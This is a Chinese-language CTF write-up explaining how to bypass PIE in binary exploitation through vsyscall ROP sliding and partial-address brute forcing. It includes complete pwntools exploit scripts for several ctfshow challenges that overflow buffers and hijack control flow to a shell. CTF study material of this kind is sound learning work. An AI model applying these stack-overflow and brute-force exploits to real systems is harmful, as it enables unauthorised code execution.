PWN|PIE保护绕过

PIE保护:

对代码段、数据段、bss段启用偏移,后三位不变。

普遍情况下text段函数的地址,只有后四位不同。这就意味着如果想知道目标函数的地址,得先考虑搞到其他text段函数地址,不确定的就只剩下倒数第四字节,可以考虑爆破或者其他方法解决这一未知字节。

利用vsyscall绕过(只有部分早期ubuntu版本才能用)

原理

vsyscall介绍:

https://www.bookstack.cn/read/linux-insides-zh/SysCall-linux-syscall-3.md

可以理解成一个固定的地址(就算开了PIE也不变),里面存放了一些可以用来替代ret的函数。有三个地址可以用:0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800。

注意,这三个地址即为函数开始的地址,并非上面存的值才是函数地址。

vsyscall的原理跟nopsled技术有一定相似之处,核心在于“滑动”,由于题目执行流的地址不一定是我们想要的地方,所以通过特殊技巧让执行流一直“滑”到我们想要的地方执行。

二者区别在于,nopsled是直接针对shellcode的,所以用的是汇编代码”nop”来滑,而vsyscall是针对ROP链的,所以得用ret的替代函数来滑。而如果题目不开PIE的话,很容易就能拿到ret的gadget,然后直接用ret滑就行,用不到vsyscall。(其实不开PIE感觉根本都不需要滑,因为不开PIE的话各种函数地址都是已知的)

举个例子,程序流最后一条指令是:

jmp [0x400000]

并且执行完[0x400000]处的函数就会退出

而0x400010处的值是我们需要程序执行的函数地址

如果我往0x400000到0x400010处都填上ret(或vsyscall里面的替代函数),程序最终就会滑到0x400010处,把这个地方值pop给eip执行,就达到了目标。

例题1:2024CTFSHOW 单身杯 checkin

64位,开了PIE

给了后门函数:

buf给了大小是64,即0x40,但是实际上占据的空间是0x110-0x8。最后程序jmp [rbp+buf+0x40],如果不开PIE的话,思路就是往rbp+buf+0x40处填后门函数地址,但是开了PIE的话,后门函数地址就不知道了,得去栈上找一下。

由于我本地环境问题,动调跟题目结果有出入,参考其他师傅的文章:

Pwn学习总结(18):VSyscall-vul64 | 杰克部落

可以得到在偏移30个单位的地方,存放的值跟后门函数只有最后一字节不同,想方设法把这个地方覆盖成后门函数的最后一字节,然后用vsyscall让程序滑到这地方就行。

exp:

from pwn import*
context.log_level = "debug"
io = remote("pwn.challenge.ctf.show" ,28301)
io = process("/home/monke/PWN/DSBCTF/pwn")
io.recvuntil("Hack me!\n")
vsyscall = 0xffffffffff600000

io.send(p64(vsyscall)*30+b'\x13')

io.sendline('/bin/sh')

io.interactive( )

例题2 ctfshow pwn入门129

main函数中选择2进入hint函数,选择1进入sub1函数:

hint函数有一个判断,可以输出system地址,但是这个判断永远无法通过:

查看汇编代码发现隐藏信息,system地址会被存在rbp-0x110(即rsp+0x10)处,或许会有用:

继续往下看sub1函数,可以看到,v4、v5两个变量刚好占了rsp+0x10,即system地址存放的位置,v4、v5是可控的,也就是可以在一定范围内修改该位置存放的值。

继续跟进vuln函数,发现是递归调用,存在栈溢出:

所以思路就是,由于题目已经给了libc版本,可以算出onegadget和system函数的偏移,在sub1函数中通过控制v4和v5的值来把存放的system函数值改成onegadget,然后进入vuln函数覆盖ret,用vsyscall滑到onegadget处执行即可(ps:要把99个计算题覆盖完才能避免exit(0))。

完整exp:

from pwn import *
context.log_level = 'debug'
#io = process('/home/monke/PWN/CTFSHOW/129')
io = remote('pwn.challenge.ctf.show',28302)

vsyscall = 0xffffffffff600000
io.sendlineafter("Choice:\n",'2')
io.sendlineafter("Choice:\n",'1')
io.sendlineafter("doubts?\n",'0')

io.sendlineafter("more?\n",'-378')#-378 -- offset between exec(bin/sh) and system

for i in range(99):
	io.recvuntil("Question: ")
	answer1 = int(io.recvuntil(" ")[:-1])
	io.recvuntil("* ")
	answer2 = int(io.recvuntil(" ")[:-1])
	io.sendlineafter("Answer:",str(answer1*answer2))

payload = b'A' * 0x30
payload += b'B'* 0x8
payload += p64(vsyscall) * 3
io.sendafter("Answer:",payload)
io.interactive()

vsyscall为什么是3个:

由于system函数是存在sub1函数的rsp+0x10处,而sub1是vuln的caller,即vuln的栈帧创建紧跟着sub1之下,所以vuln的ret离sub1的rsp+0x10就是三个单位,要用vsyscall滑三次。

这题如果假设不给libc版本的话还有爆破的做法,详见后面爆破模块。

爆破

通过已知的text段其他函数地址来爆破目标函数地址

借鉴文章:

pwn——vsyscall滑动绕过以及爆破 – hawkJW – 博客园

如开头所说,普遍情况下text段函数的地址,只有后四位不同。这就意味着如果想知道目标函数的地址,得先考虑搞到其他text段函数地址,不确定的就只剩下倒数第四字节,可以考虑爆破,1/16的概率成功。

利用recv(timeout = 1)来进行爆破:

模板如下,大概意思是,如果没有拿到shell,p.recv(timeout = 1)就会触发EOF终止程序,如果拿到了shell,p.recv(timeout = 1)就会成立然后p.interactive()。

def exp():
   #getshell的exp
   p.recv(timeout = 1)


if __name__ == '__main__':
    while True:
         try:
            exp()
            p.interactive()
            break
         except KeyboardInterrupt:
            break
         except:
            continue

若不知道text段其他函数,也可以通过直接覆盖eip后四位的方式爆破

例题:ctfshow pwn入门128

main函数如下:

dopwn函数调用了set_user和set_pwn:

set_user可以写长度为41的字符串,复制到v1+140处;

set_pwn可以写自定义数量的字符串,自定义数量取决于v1+180处的字符值,即set_user中可以写的一个字节值,然后把写的字符串复制给v1,存在溢出,如下图:

本题开了PIE,所以不能直接打ROP,所幸有后门函数。由于ret值大概率与后门函数在同一页,所以尝试通过覆盖rip后四位的值来劫持程序流到后门函数执行。

后门函数:

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'info'
#io = process('/home/monke/PWN/CTFSHOW/128')
#io = remote('pwn.challenge.ctf.show',28293)
elf = ELF('/home/monke/PWN/CTFSHOW/128')


def exp():
	payload1=b'a'*40+b'\xca'
	io.sendline(payload1)
	payload2=b'a'*0xc0+p64(0xfffffffffffffff0)+b'\x01\x09'
	io.sendline(payload2)


	io.recv(timeout = 1)


if __name__ == '__main__':
    while True:
         io = remote('pwn.challenge.ctf.show',28293)
         try:
            exp()
            io.interactive()
            break
         except KeyboardInterrupt:
            break
         except:
            io.close()
            continue

有几个需要注意的地方:

1.payload1=b’a’*40+b’\xca’,\xca必须刚好与payload2长度一致,不能填长,猜测原因是strncpy函数特性——n比源字符串长度要大导致的EOF错误

2.payload2=b’a’*0xc0+p64(0xfffffffffffffff0)+b’\x01\x09’,p64(0xfffffffffffffff0)即覆盖rbp的值,该值不能填p64(0)、p64(f0)、p64(fff)等值,猜测是因为strncpy函数的0截断导致的。但是p64(0xfffffffffffffff0)却可以。

3.后门函数地址是”\x00″”\x90″,为什么要填”\x01″”\x90″?猜测原因是,由于在payload2中把rbp覆盖成了不存在的值,而后门函数一开始是push rbp,可能会导致EOF,所以得从”\x01″”\x90″开始。

4.脚本语法错误和爆破失败,爆破的速度明显不同。

成功爆破:

例题:ctfshow pwn入门129

题目分析见vsyscall模块处,此处为该题的爆破做法:

exp:

from pwn import *
context.log_level = 'info'
i = 0
while True:
    try:
        py_add = 0
        i += 1
        print (i)
        #io = process('./pwn')
        io = remote('pwn.challenge.ctf.show', 28157)
        io.sendlineafter("Choice:\n", '1')
        io.sendlineafter("doubts?\n", '1')
        io.sendlineafter("more?\n", '1')
        io.recvuntil("Question: ")
        a1 = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        a2 = int(io.recvuntil(" ")[:-1])
        a3 = str(a1 * a2)
        a4 = a3.ljust(0x30, '\x00') + '\x6c'
        io.sendafter("Answer:", a4)
        io.recvuntil("doubt ")
        answer = int(io.recvuntil("\n")[:-1])
        if answer < 0:
            answer = answer + 0x100000000  # 由于answer这个数的二进制最高位有可能是0或1,所以可能为有符号数(0),要处理
        answer_end = answer + 0x7f2a00000000  # 通过ELF(libc文件).symbols['函数名']查找地址
        if hex(answer_end)[-2:] == '6f':  # _IO_file_write+8F e0+8f=16f
            py_add = answer_end - 0xf88e0 - 0x8f
        elif hex(answer_end)[-2:] == '00':  # _IO_2_1_stdout
            py_add = answer_end - 0x3c2600
        elif hex(answer_end)[-2:] == '83':  # _IO_2_1_stdout_+83 00+83=83
            py_add = answer_end - 0x3c2600 - 0x83
        elif hex(answer_end)[-2:] == '59':  # _IO_do_write+79 e0+79=159
            py_add = answer_end - 0xf88e0 - 0x79
        elif hex(answer_end)[-2:] == '20':  # _IO_file_overflow
            py_add = answer_end - 0x7c820
        elif hex(answer_end)[-2:] == '8a':  # puts+16a 20+6a=8a
            py_add = answer_end - 0x70920 - 0x16a
        one_gadget = py_add + 0x45216
        if py_add == 0:
            io.close()
            continue
        io.recvuntil("Question: ")
        a1 = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        a2 = int(io.recvuntil(" ")[:-1])
        a3 = str(a1 * a2)

        a4 = a3.encode().ljust(0x38,b'\x00')+p64(one_gadget)
        io.sendafter("Answer:", a4)
        io.recv(timeout=1)
    except EOFError:
        io.close()
        continue
    else:
        io.interactive()
        break
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇